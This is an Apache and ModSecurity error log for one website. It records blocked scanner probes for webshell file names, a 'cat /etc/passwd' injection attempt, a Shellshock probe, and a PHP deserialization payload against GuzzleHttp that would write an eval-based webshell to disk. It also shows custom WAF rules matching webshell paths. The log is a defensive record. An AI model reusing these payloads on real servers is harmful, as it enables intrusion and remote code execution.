[Sat Nov 22 02:19:26.962449 2025] [:error] [pid 49641:tid 49847] [client 104.208.164.78:6564] [client 104.208.164.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aSCtLlnhuiDak938N_bLTAAAABg"], referer: https://www.google.com/
[Sat Nov 22 02:19:37.353828 2025] [:error] [pid 49642:tid 49895] [client 104.208.164.78:5661] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:19:38.435436 2025] [:error] [pid 49642:tid 49912] [client 104.208.164.78:5661] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://www.google.de/
[Sat Nov 22 02:19:38.679499 2025] [:error] [pid 49642:tid 49900] [client 104.208.164.78:5661] File does not exist: /usr/local/apache/htdocs/suspended-page/mari.php, referer: https://www.google.com/
[Sat Nov 22 02:19:38.928135 2025] [:error] [pid 49642:tid 49909] [client 104.208.164.78:5661] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://www.bing.com/
[Sat Nov 22 02:19:39.190352 2025] [:error] [pid 49642:tid 49908] [client 104.208.164.78:5661] File does not exist: /usr/local/apache/htdocs/suspended-page/nc4.php, referer: https://www.google.fr/
[Sat Nov 22 02:19:40.133345 2025] [:error] [pid 49642:tid 49914] [client 104.208.164.78:5661] [client 104.208.164.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSCtPIOXTPSuQfgUUtWiAwAAAJc"], referer: https://www.yahoo.com/
[Sat Nov 22 02:19:54.277086 2025] [:error] [pid 49643:tid 49941] [client 104.208.164.78:1190] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php, referer: https://www.bing.com/
[Sat Nov 22 02:19:54.947445 2025] [:error] [pid 49643:tid 49925] [client 104.208.164.78:1190] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:19:55.731626 2025] [:error] [pid 49643:tid 49921] [client 104.208.164.78:1190] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:19:55.979802 2025] [:error] [pid 49643:tid 49933] [client 104.208.164.78:1190] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:19:56.219612 2025] [:error] [pid 49643:tid 49931] [client 104.208.164.78:1190] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php, referer: https://www.google.de/
[Sat Nov 22 02:19:56.507819 2025] [:error] [pid 49643:tid 49936] [client 104.208.164.78:1190] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:14.640109 2025] [:error] [pid 49642:tid 49898] [client 104.208.164.78:1478] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php, referer: https://www.google.com/
[Sat Nov 22 02:20:15.837596 2025] [:error] [pid 49642:tid 49909] [client 104.208.164.78:1478] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php, referer: https://www.google.de/
[Sat Nov 22 02:20:16.882009 2025] [:error] [pid 49642:tid 49914] [client 104.208.164.78:1478] [client 104.208.164.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSCtYIOXTPSuQfgUUtWiGwAAAJc"], referer: https://www.bing.com/
[Sat Nov 22 02:20:26.897114 2025] [:error] [pid 50057:tid 50064] [client 144.48.39.86:34040] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:text. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:text: cat /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aSCtalb9j9fTBoI0sRVeUAAAAQU"]
[Sat Nov 22 02:20:29.832854 2025] [:error] [pid 14291:tid 14310] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/ds.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:30.043086 2025] [:error] [pid 14291:tid 14301] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:30.327695 2025] [:error] [pid 14291:tid 14317] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/god4m.php, referer: https://www.google.com/
[Sat Nov 22 02:20:30.537744 2025] [:error] [pid 14291:tid 14315] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:20:33.634605 2025] [:error] [pid 14291:tid 14307] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/0.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:20:33.845233 2025] [:error] [pid 14291:tid 14296] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/07.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:34.080869 2025] [:error] [pid 14291:tid 14305] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:34.926216 2025] [:error] [pid 14291:tid 14299] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php, referer: https://www.google.de/
[Sat Nov 22 02:20:35.194295 2025] [:error] [pid 9180:tid 9194] [client 144.48.39.84:34094] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 8 byte(s) in ARGS:profile_id outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:profile_id=O:31:\\x22GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x22:3:{s:40:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x00cookies\\x22;a:1:{i:0;O:27:\\x22GuzzleHttp\\x5cCookie\\x5cSetCookie\\x22:1:{s:33:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cSetCookie\\x00data\\x22;a:2:{s:7:\\x22Expires\\x22;s:0:\\x22\\x22;s:5:\\x22Value\\x22;s:49:\\x22<?php eval(base64_decode($_SERVER['HTTP_X'])); ?>\\x22;}}}s:41:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x00filename\\x22;s:23:\\x22./cache_public/sh.phtml\\x22;s:52:\\x22\\x00GuzzleHttp\\x5cCo..."] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aSCtc7rk9msixUFV2i-wBAAAAEw"]
[Sat Nov 22 02:20:35.234596 2025] [:error] [pid 14291:tid 14313] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-sigunq.php, referer: https://www.google.de/
[Sat Nov 22 02:20:35.494774 2025] [:error] [pid 14291:tid 14304] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wso112233.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:35.822482 2025] [:error] [pid 14291:tid 14297] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php, referer: https://www.google.de/
[Sat Nov 22 02:20:36.137270 2025] [:error] [pid 14291:tid 14295] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/fw.php, referer: https://www.google.de/
[Sat Nov 22 02:20:36.347642 2025] [:error] [pid 14291:tid 14311] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php, referer: https://www.google.de/
[Sat Nov 22 02:20:36.621600 2025] [:error] [pid 14291:tid 14301] [client 104.208.164.78:2626] [client 104.208.164.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.208.164.78, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSCtdEEjlvzqoJBTM9gMmAAAAUg"], referer: https://www.google.com/
[Sat Nov 22 02:20:36.626078 2025] [:error] [pid 14291:tid 14301] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Sat Nov 22 02:20:36.943317 2025] [:error] [pid 14291:tid 14317] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:37.153579 2025] [:error] [pid 14291:tid 14309] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:37.364787 2025] [:error] [pid 14291:tid 14303] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/classsmtps.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:37.672618 2025] [:error] [pid 14291:tid 14314] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:38.113916 2025] [:error] [pid 14291:tid 14314] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:38.380026 2025] [:error] [pid 14291:tid 14308] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php, referer: https://www.google.de/
[Sat Nov 22 02:20:38.593530 2025] [:error] [pid 14291:tid 14294] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-comments-post.php, referer: https://www.google.com/
[Sat Nov 22 02:20:38.809111 2025] [:error] [pid 14291:tid 14296] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php, referer: https://www.google.com/
[Sat Nov 22 02:20:39.051005 2025] [:error] [pid 14291:tid 14305] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:39.331523 2025] [:error] [pid 14291:tid 14313] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-activate.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:40.194672 2025] [:error] [pid 49642:tid 49891] [client 144.48.39.84:34100] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /vendor/htmlawed/htmlawed/htmLawedTest.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aSCteIOXTPSuQfgUUtWiJwAAAIA"]
[Sat Nov 22 02:20:43.798654 2025] [:error] [pid 14291:tid 14294] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/plugins.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:20:44.017518 2025] [:error] [pid 14291:tid 14300] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/post.php, referer: https://www.google.com/
[Sat Nov 22 02:20:44.293445 2025] [:error] [pid 14291:tid 14296] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php, referer: https://www.google.com/
[Sat Nov 22 02:20:44.529401 2025] [:error] [pid 14291:tid 14307] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:44.829666 2025] [:error] [pid 14291:tid 14305] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:45.050537 2025] [:error] [pid 14291:tid 14304] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/hoot.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:20:45.348541 2025] [:error] [pid 14291:tid 14311] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:20:45.603670 2025] [:error] [pid 14291:tid 14297] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:20:45.870329 2025] [:error] [pid 14291:tid 14301] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php, referer: https://www.google.com/
[Sat Nov 22 02:20:46.113469 2025] [:error] [pid 14291:tid 14302] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php, referer: https://www.google.com/
[Sat Nov 22 02:20:46.383338 2025] [:error] [pid 14291:tid 14303] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:46.644117 2025] [:error] [pid 14291:tid 14315] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/upfile.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:20:46.881725 2025] [:error] [pid 14291:tid 14308] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:47.147862 2025] [:error] [pid 14291:tid 14294] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php, referer: https://www.google.de/
[Sat Nov 22 02:20:47.406130 2025] [:error] [pid 14291:tid 14300] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:47.618308 2025] [:error] [pid 14291:tid 14309] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/updates.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:47.891131 2025] [:error] [pid 14291:tid 14296] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:48.178233 2025] [:error] [pid 14291:tid 14312] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/ae.php, referer: https://www.bing.com/
[Sat Nov 22 02:20:48.387696 2025] [:error] [pid 14291:tid 14304] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:20:48.630687 2025] [:error] [pid 14291:tid 14306] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php, referer: https://www.google.com/
[Sat Nov 22 02:20:48.849083 2025] [:error] [pid 14291:tid 14299] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php, referer: https://www.google.com/
[Sat Nov 22 02:20:52.925218 2025] [:error] [pid 14291:tid 14310] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:53.190899 2025] [:error] [pid 9180:tid 9182] [client 144.48.39.84:47312] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /vendor/htmlawed/htmlawed/htmLawedTest.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aSCthbrk9msixUFV2i-wEAAAAEA"]
[Sat Nov 22 02:20:54.003509 2025] [:error] [pid 14291:tid 14303] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php, referer: https://www.google.de/
[Sat Nov 22 02:20:54.254454 2025] [:error] [pid 14291:tid 14315] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:55.037724 2025] [:error] [pid 14291:tid 14294] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php, referer: https://www.google.com/
[Sat Nov 22 02:20:56.482516 2025] [:error] [pid 14291:tid 14294] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/123.php, referer: https://www.google.de/
[Sat Nov 22 02:20:56.696009 2025] [:error] [pid 14291:tid 14306] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:58.272500 2025] [:error] [pid 14291:tid 14311] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-ajax.php, referer: https://duckduckgo.com/
[Sat Nov 22 02:20:58.503688 2025] [:error] [pid 14291:tid 14295] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/akc.php, referer: https://www.google.co.uk/
[Sat Nov 22 02:20:58.741333 2025] [:error] [pid 14291:tid 14310] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php, referer: https://www.google.de/
[Sat Nov 22 02:20:58.953781 2025] [:error] [pid 14291:tid 14301] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php, referer: https://www.google.de/
[Sat Nov 22 02:20:59.170225 2025] [:error] [pid 14291:tid 14302] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:59.423248 2025] [:error] [pid 14291:tid 14303] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/berax.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:59.638226 2025] [:error] [pid 14291:tid 14315] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/checkbox.php, referer: https://www.google.fr/
[Sat Nov 22 02:20:59.850349 2025] [:error] [pid 14291:tid 14309] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php, referer: https://www.bing.com/
[Sat Nov 22 02:21:00.088708 2025] [:error] [pid 14291:tid 14312] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/file4.php, referer: https://www.google.de/
[Sat Nov 22 02:21:01.573481 2025] [:error] [pid 14291:tid 14316] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/form.php, referer: https://www.google.com/
[Sat Nov 22 02:21:01.882838 2025] [:error] [pid 14291:tid 14308] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php, referer: https://www.google.fr/
[Sat Nov 22 02:21:02.158321 2025] [:error] [pid 14291:tid 14307] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php, referer: https://www.yahoo.com/
[Sat Nov 22 02:21:02.378421 2025] [:error] [pid 14291:tid 14299] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/kyami.php, referer: https://www.google.de/
[Sat Nov 22 02:21:02.623867 2025] [:error] [pid 14291:tid 14317] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php, referer: https://www.google.de/
[Sat Nov 22 02:21:02.840433 2025] [:error] [pid 14291:tid 14305] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php, referer: https://www.google.com/
[Sat Nov 22 02:21:03.055328 2025] [:error] [pid 14291:tid 14312] [client 104.208.164.78:2626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php, referer: https://duckduckgo.com/
[Sat Nov 22 03:15:57.558102 2025] [:error] [pid 34064:tid 34072] [client 144.48.39.84:52242] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSC6bTlM7fD2RjjmEWrmOwAAAMM"]
[Sat Nov 22 03:15:57.558245 2025] [:error] [pid 34064:tid 34072] [client 144.48.39.84:52242] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSC6bTlM7fD2RjjmEWrmOwAAAMM"]
[Sat Nov 22 03:15:59.182101 2025] [:error] [pid 34064:tid 34087] [client 144.48.39.84:52302] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSC6bzlM7fD2RjjmEWrmRQAAANI"]
[Sat Nov 22 03:15:59.182189 2025] [:error] [pid 34064:tid 34087] [client 144.48.39.84:52302] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSC6bzlM7fD2RjjmEWrmRQAAANI"]
[Sat Nov 22 03:16:11.198046 2025] [:error] [pid 33947:tid 33970] [client 144.48.39.86:49598] File does not exist: /usr/local/apache/htdocs/suspended-page/35ddylnJBnWqQSaXYz35yKu28WW.php
[Sat Nov 22 03:53:16.731954 2025] [:error] [pid 53477:tid 53501] [client 103.167.150.158:63536] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/system/js/core.js"] [unique_id "aSDDLH7Lu30Ku9O40aKiWgAAABQ"]
[Sat Nov 22 03:57:19.651016 2025] [:error] [pid 53479:tid 53539] [client 144.48.39.84:56726] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=application/soap+xml"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/wsman"] [unique_id "aSDEH26cicFF3Aas-oQ9eAAAAIM"]
[Sat Nov 22 04:20:03.921711 2025] [:error] [pid 25856:tid 25870] [client 51.81.107.180:52970] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Sat Nov 22 04:59:24.555975 2025] [:error] [pid 53477:tid 53492] [client 144.48.39.86:55822] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/slogin/login.py"] [unique_id "aSDSrH7Lu30Ku9O40aLAxgAAAAs"]
[Sat Nov 22 06:56:45.173453 2025] [:error] [pid 53477:tid 53488] [client 212.116.231.26:50398] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSDuLX7Lu30Ku9O40aIG7gAAAAc"]
[Sat Nov 22 06:56:45.983994 2025] [:error] [pid 53477:tid 53489] [client 212.116.231.26:50850] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSDuLX7Lu30Ku9O40aIG8wAAAAg"]
[Sat Nov 22 06:56:46.799431 2025] [:error] [pid 53478:tid 53521] [client 212.116.231.26:51244] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSDuLghUYdXBbQswAdRAQgAAAEw"]
[Sat Nov 22 06:56:47.636514 2025] [:error] [pid 53566:tid 53568] [client 212.116.231.26:51610] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSDuL8bSHDBkRbwMbd5nmQAAAMA"]
